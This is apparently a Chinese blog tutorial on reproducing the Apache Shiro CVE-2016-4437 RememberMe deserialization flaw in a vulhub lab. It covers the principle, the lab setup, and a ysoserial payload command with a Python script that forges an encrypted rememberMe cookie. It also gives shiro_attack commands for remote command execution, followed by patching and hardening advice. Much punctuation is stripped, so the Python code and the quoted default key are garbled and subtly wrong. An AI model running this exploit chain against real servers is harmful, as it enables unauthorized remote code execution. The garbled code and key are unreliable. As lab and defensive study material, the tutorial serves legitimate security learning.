1. 项目概述与核心价值最近在整理内部安全测试的案例库发现很多刚入行的兄弟对Shiro这个框架的反序列化漏洞CVE-2016-4437理解得不够透彻复现过程也总是磕磕绊绊。这个漏洞在实战中出现的频率相当高尤其是在一些遗留的老系统里几乎成了“必检项”。今天我就结合自己这些年挖洞和做红队评估的经验把这个漏洞从原理到实操掰开揉碎了讲一遍。你不用再东拼西凑地看零散文章跟着这篇走从环境搭建到漏洞利用再到深度分析保证你能自己独立复现出来并且真正明白它为什么能成。简单来说CVE-2016-4437是Apache Shiro框架在1.2.5及之前版本中存在的一个高危反序列化漏洞。攻击者可以利用它在未授权的情况下远程执行任意代码直接拿到服务器权限。它的核心问题出在Shiro用于“记住我”RememberMe功能的Cookie处理机制上。Shiro默认使用了一个硬编码的AES加密密钥来加密序列化后的用户信息如果这个密钥被攻击者知晓他就能伪造Cookie让服务器反序列化恶意构造的数据从而触发RCE远程代码执行。为什么这个漏洞值得你花时间研究首先它的影响面非常广Shiro在Java Web开发中应用广泛。其次它的利用链相对经典是理解Java反序列化漏洞的一个绝佳入口。最后即便到了今天依然有大量未修复或配置不当的系统暴露在互联网上。掌握它无论是用于企业内部的渗透测试、漏洞排查还是提升自己的安全技能都极具实战价值。2. 漏洞原理深度剖析为什么AES密钥成了“万能钥匙”要彻底搞懂这个漏洞我们不能停留在“有个默认密钥泄露了”这个层面得深入到Shiro框架处理用户会话的流程中去。2.1 Shiro的“记住我”机制与序列化流程Shiro是一个强大的Java安全框架它提供了认证、授权、加密和会话管理等功能。其中“记住我”RememberMe是一个非常方便用户的功能。当用户登录时勾选了“记住我”Shiro就会在用户的浏览器中设置一个名为rememberMe的Cookie。下次用户再访问网站时即使浏览器会话关闭Shiro也能通过这个Cookie自动完成登录无需再次输入用户名密码。这个流程的关键步骤是这样的序列化主体信息当用户成功登录并勾选“记住我”后Shiro会将用户的身份信息Principal和凭证Credential等数据通过Java的ObjectOutputStream进行序列化转换成字节流。使用AES加密Shiro会使用一个对称加密算法默认是AES对这个序列化后的字节流进行加密。加密的目的是为了保证Cookie内容在传输过程中的机密性防止被窃取后直接读取用户信息。生成Cookie加密后的数据经过Base64编码变成一个字符串然后作为rememberMeCookie的值发送给用户的浏览器。后续请求验证用户再次访问时浏览器会自动带上这个Cookie。Shiro接收到后会进行反向操作先Base64解码再用相同的AES密钥解密最后对解密得到的字节流进行反序列化ObjectInputStream.readObject()还原出用户信息完成自动登录。问题就出在第2步和第4步。加解密的核心是密钥如果密钥是固定的、公开的那么加密就形同虚设。2.2 硬编码密钥安全大厦的脆弱地基在Apache Shiro 1.2.5及之前的版本中框架默认使用了一个硬编码的AES加密密钥。这个密钥的Base64编码形式是kPHbIxk5D2deZiIxcaaaA。它在源代码中明文写死所有使用默认配置的Shiro应用加解密Cookie用的都是同一把“钥匙”。注意这里需要理解“硬编码”的风险。开发框架提供默认配置本意是方便开发者快速上手但如果这个默认配置涉及核心安全如加密密钥并且没有在部署时强制要求修改就会导致所有使用默认配置的应用共享同一个致命弱点。这相当于给成千上万把不同的锁配了同一把万能钥匙。一旦攻击者知道了这个密钥整个“记住我”机制的安全假设就完全崩塌了。攻击者可以自己构造一个恶意的Java对象这个对象在反序列化时会执行任意命令例如利用Runtime.exec()执行系统命令。用已知的默认密钥对这个恶意对象的序列化字节流进行AES加密。将加密后的数据Base64编码伪造一个rememberMeCookie。将伪造的Cookie发送给目标Shiro应用。目标应用收到Cookie后会用同样的默认密钥解密然后毫无戒备地对解密后的数据执行反序列化操作从而触发恶意代码执行。2.3 反序列化的“魔法”为何readObject()如此危险Java反序列化漏洞的本质在于ObjectInputStream.readObject()这个方法会根据字节流中的类描述自动调用该类的readObject方法如果存在来重建对象。许多常用的Java库如Apache Commons Collections, Groovy, Spring等中的类其readObject方法或相关方法如getter/setter可以被精心构造的调用链所利用最终达到执行任意代码的目的。对于CVE-2016-4437最经典的利用链是基于Apache Commons Collections 3.2.1库老版本Java Web项目非常常见。攻击者构造一个特殊的Transformer链在反序列化过程中这个链会被执行最终调用Runtime.getRuntime().exec(“你的命令”)。这里有个关键点漏洞的触发条件不仅仅是Shiro的默认密钥还需要目标应用的ClassPath中包含存在可利用链的第三方库如Commons Collections。如果目标环境没有这些库单纯的默认密钥泄露可能无法直接导致代码执行但攻击者依然可以尝试其他利用链如CB链、CC链的其他版本等。这解释了为什么在复现时我们需要一个包含特定依赖的靶场环境。3. 靶场环境搭建避坑指南与实操记录理论讲完了我们动手搭环境。这里我强烈推荐使用vulhub它是一个开源的漏洞靶场集成项目基于Docker一键搭建非常方便我们这种专注于漏洞原理研究的人。3.1 环境准备与Docker安装首先你需要一个Linux环境。我个人的主力机是Kali但Ubuntu、CentOS都可以。这里以Kali为例其他系统命令大同小异。第一步安装Docker和Docker Compose如果你的系统没有Docker需要先安装。Kali通常自带但最好更新到最新。# 更新软件包列表 sudo apt-get update # 安装Docker所需依赖 sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common # 添加Docker官方GPG密钥 curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg # 添加Docker稳定版仓库 echo deb [arch$(dpkg --print-architecture) signed-by/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian $(lsb_release -cs) stable | sudo tee /etc/apt/sources.list.d/docker.list /dev/null # 再次更新并安装Docker sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io # 安装Docker Compose (v2) sudo apt-get install -y docker-compose-plugin # 验证安装 docker --version docker compose version实操心得在国内环境你可能会遇到拉取Docker镜像慢甚至失败的问题。这是复现过程中最常见的“坑”。解决方法是为Docker配置国内镜像加速器。编辑/etc/docker/daemon.json文件没有则创建{ registry-mirrors: [ https://docker.mirrors.ustc.edu.cn, https://hub-mirror.c.163.com, https://mirror.baidubce.com ] }保存后重启Docker服务sudo systemctl restart docker。这能极大提升后续拉取vulhub镜像的速度。3.2 获取与启动Vulhub靶场解决了网络问题我们来拉取vulhub项目。# 1. 克隆 vulhub 仓库到本地 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入 shiro 漏洞目录 cd shiro/CVE-2016-4437 # 3. 使用 Docker Compose 一键启动靶场 sudo docker compose up -d执行完docker compose up -d后Docker会开始拉取镜像并启动容器。你看到[] Running 2/2类似的提示并且最后显示容器状态为done就表示启动成功了。常见问题排查问题执行docker compose up -d时卡在Pulling阶段或者报错Error response from daemon: Get “https://registry-1.docker.io/v2/“: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)。原因网络连接超时无法从Docker官方仓库拉取镜像。解决确认已按上文配置了镜像加速器并重启了Docker。可以尝试手动拉取基础镜像docker pull vulhub/tomcat:8.5具体镜像名可能不同看docker-compose.yml文件。如果公司网络有代理需要为Docker配置代理。编辑~/.docker/config.json或 systemd 的 docker.service 文件。问题启动后访问http://your-ip:8080无响应。原因端口冲突或容器启动失败。解决检查端口占用sudo netstat -tulnp | grep 8080。如果被占用可以修改docker-compose.yml文件中的端口映射例如将8080:8080改为8088:8080然后重新docker compose up -d。查看容器日志sudo docker compose logs或sudo docker logs container_id根据错误信息进一步排查。环境启动成功后浏览器访问http://你的Kali_IP:8080应该能看到一个简单的Shiro示例Web页面通常是一个登录框。我们的靶场就准备好了。4. 漏洞检测与利用实战手把手攻击演示环境有了我们开始真正的攻击演练。整个过程分为三步检测漏洞是否存在、利用工具生成攻击载荷、发送恶意Cookie获取权限。4.1 漏洞检测如何判断目标存在Shiro默认密钥在真正投递攻击载荷前我们需要先确认目标是否使用了Shiro并且是否使用了默认密钥。一个简单有效的方法是发送一个合法的“记住我”Cookie观察服务器返回的报错信息。我们可以使用Burp Suite或者直接写Python脚本。这里我用Python演示更清晰。原理我们构造一个简单的序列化对象比如一个普通的字符串”test”用Shiro的默认密钥加密并Base64编码然后作为rememberMeCookie发送。如果服务器返回的报错信息中包含rememberMe或Cookie相关的Java异常如DecryptionException而换成其他随机密钥加密的Cookie则返回完全不同的错误比如直接跳转登录页那么就有很大概率存在默认密钥。不过在实际的自动化检测中更常用的方法是利用一个在反序列化时会触发特定行为的“探测载荷”比如一个触发DNS查询的URLDNS链。如果目标存在漏洞我们会收到DNS解析记录。但为了初步手动判断我们可以用现成工具。这里我推荐使用shiro_attack这个项目它集成了检测和利用。我们先检测# 假设你已经把工具下载到本地 python shiro_attack.py http://192.168.1.10:8080如果工具显示检测到默认密钥kPHbIxk5D2deZiIxcaaaA那么恭喜目标存在漏洞。4.2 利用工具生成恶意Payload确认漏洞存在后我们需要生成一个能执行命令的Payload。由于我们需要利用Commons Collections库的链所以Payload的生成依赖于目标环境。好在vulhub靶场已经包含了必要的库。最常用的工具是ysoserial。它是一个Java反序列化利用框架可以生成各种利用链的Payload。下载ysoserial从GitHub release页面下载jar包。生成Payload我们需要生成一个CommonsCollections链的Payload让它执行系统命令例如touch /tmp/success在/tmp目录下创建一个名为success的文件作为攻击成功的标志。# 命令格式java -jar ysoserial.jar [利用链类型] “[命令]” java -jar ysoserial.jar CommonsCollections5 “touch /tmp/success” payload.bin这会将生成的恶意序列化对象字节流保存到payload.bin文件中。4.3 加密Payload并构造最终攻击Cookie生成了原始的恶意字节流payload.bin后我们不能直接把它作为Cookie发送。因为Shiro期望的Cookie值是经过AES加密并Base64编码后的数据。我们需要用Shiro的默认密钥对payload.bin进行加密。这里我提供一个Python脚本的核心逻辑来演示这个过程import base64 import uuid from Crypto.Cipher import AES from Crypto.Util.Padding import pad def shiro_encrypt(key, payload): # Shiro的AES模式CBCIV为随机16字节但这里我们模拟攻击IV可以固定或从其他地方获取。 # 实际上在真实攻击中我们需要先获取一个合法的Cookie提取其IV因为Shiro将IV拼接在密文前。 # 为了简化演示我们假设IV已知或可预测。在利用工具中这一步是自动处理的。 mode AES.MODE_CBC # 默认密钥 base64解码 key base64.b64decode(key) # 假设一个初始向量IV (这里用全零示例实际攻击中需要从合法Cookie提取) iv b\x00 * 16 cipher AES.new(key, mode, iv) # 对payload进行PKCS5/PKCS7填充 padded_payload pad(payload, AES.block_size) # 加密 encrypted cipher.encrypt(padded_payload) # Shiro将IV和密文拼接后一起Base64编码。这里我们拼接假设的IV和加密结果。 final_ciphertext iv encrypted # 实际攻击中IV是密文的一部分 # Base64编码 rememberMe_cookie base64.b64encode(final_ciphertext).decode(utf-8) return rememberMe_cookie # 使用默认密钥 default_key “kPHbIxk5D2deZiIxcaaaA” with open(‘payload.bin’, ‘rb’) as f: payload_data f.read() evil_cookie shiro_encrypt(default_key, payload_data) print(f”生成的rememberMe Cookie: {evil_cookie}“)实际上我们不需要自己写这个加密过程。像shiro_attack、shiro_exploit这类工具已经帮我们封装好了。我们只需要指定目标URL、密钥和要执行的命令。4.4 发起攻击并验证结果使用集成化工具发起攻击是最方便的。以shiro_attack为例python shiro_attack.py http://192.168.1.10:8080 -k “kPHbIxk5D2deZiIxcaaaA” -c “touch /tmp/success”工具会自动完成检测漏洞、生成ysoserial payload、用指定密钥加密、构造HTTP请求并发送带有恶意Cookie的请求。攻击验证 攻击完成后我们如何知道是否成功由于我们执行的命令是touch /tmp/success这是一个无回显的命令。我们需要进入靶场的Docker容器内部查看文件是否被创建。# 1. 首先找到运行靶场的容器ID sudo docker ps | grep shiro # 2. 进入该容器的shell环境 sudo docker exec -it 容器ID /bin/bash # 3. 检查 /tmp 目录下是否存在 success 文件 ls -la /tmp/success如果看到success文件并且其创建时间就是刚刚攻击的时间那么证明漏洞利用成功我们成功在目标服务器上执行了任意命令重要注意事项在实际渗透测试中执行touch命令是相对无害的验证方式。绝对禁止在未经授权的真实系统上进行任何攻击测试包括这种验证性命令。这属于违法行为。5. 漏洞修复与安全加固建议复现漏洞是为了更好地防御。作为安全人员或开发者我们必须知道如何修复它。5.1 官方修复方案Apache Shiro官方在1.2.6版本中修复了此漏洞。修复方案非常简单直接移除了硬编码的默认密钥。在新版本中如果开发者没有在配置文件中显式地配置rememberMe的加密密钥rememberMe.cipherKeyShiro会在每次应用启动时动态生成一个随机的AES密钥。这意味着每个部署的Shiro应用都有自己独一无二的密钥攻击者无法再使用一个通用的密钥进行攻击。因此最根本、最有效的修复方法就是将Apache Shiro框架升级到1.2.6及以上版本。5.2 配置层面加固如果因为某些原因暂时无法升级框架可以在配置层面进行紧急加固自定义强密钥在Shiro的配置文件如shiro.ini或application.yml中手动指定一个足够复杂且保密的AES密钥。在shiro.ini中securityManager.rememberMeManager.cipherKey your_strong_base64_encoded_key_here在Spring Boot的application.yml中shiro: rememberMeManager: cipherKey: your_strong_base64_encoded_key_here如何生成强密钥可以使用任何安全的随机数生成器生成16字节128位、24字节192位或32字节256位的随机字节然后进行Base64编码。例如用JavaBase64.getEncoder().encodeToString(SecureRandom.getInstanceStrong().generateSeed(32));禁用RememberMe功能如果业务场景不需要“记住我”功能最安全的方式是彻底禁用它。在配置中将rememberMeManager设置为null或使用不实现此功能的Session管理器。5.3 架构与运维建议除了针对该漏洞的修复还应建立更全面的安全防线依赖库安全管理定期使用SCA软件成分分析工具扫描项目依赖及时升级已知存在漏洞的第三方库如Apache Commons Collections。可以考虑使用更高版本或安全的替代品。反序列化过滤器在Java环境中可以配置反序列化过滤器如JEP 290引入的机制限制反序列化过程中允许加载的类从根本上阻断未知恶意类的反序列化。网络层面防护WAFWeb应用防火墙可以配置规则对异常的、过长的或包含特定模式的rememberMeCookie值进行拦截。最小权限原则运行Java应用的操作系统用户应遵循最小权限原则避免使用root等高权限账户这样即使被攻破攻击者能造成的破坏也有限。纵深防御不要将安全寄托于单一措施。结合安全的编码实践、严格的输入验证、输出编码、定期安全审计和渗透测试构建纵深防御体系。6. 拓展思考从CVE-2016-4437看Java反序列化漏洞防御CVE-2016-4437虽然是一个“默认密钥”引发的惨案但它深刻地暴露了Java反序列化机制的固有风险。ObjectInputStream.readObject()这个方法为了灵活性赋予了其“复活”对象时执行代码的能力这在设计上就存在安全隐患。对于开发者和架构师警惕反序列化除非绝对必要避免接受来自不可信源的序列化数据。对于来自网络、用户输入的数据在反序列化前必须进行严格的白名单验证。升级与替换积极升级框架和库。对于已知的危险类如旧版Commons Collections中用于构造利用链的Transformer、InvokerTransformer考虑替换或移除。安全配置审查将“检查默认密码、默认密钥”纳入上线前的安全检查清单。任何框架或中间件的默认安全配置都应被视为不安全的。对于安全研究人员理解利用链研究CC链、CB链、JDK链等不同利用链的构造原理有助于在代码审计和流量分析中更快地识别风险。关注新链反序列化漏洞的利用链在不断演进新的库、新的框架特性都可能引入新的利用点。需要持续关注安全动态。工具化将漏洞检测、利用Payload生成、加密解密过程工具化能极大提升渗透测试的效率。但切记工具是辅助深入理解原理才是根本。这个漏洞的复现和分析就像一次完整的安全攻防演练。从环境搭建的琐碎问题到对加密、序列化原理的深入理解再到最终利用工具完成攻击每一步都踩在实战的节点上。我建议你在自己可控的虚拟环境里多练习几遍尝试不同的命令甚至尝试手动拼接一次IV和密文感受一下整个数据流转的过程。只有亲手做过这些知识才会真正变成你自己的东西。在安全这条路上每一个经典漏洞都是一块坚实的垫脚石踩稳了才能看得更远。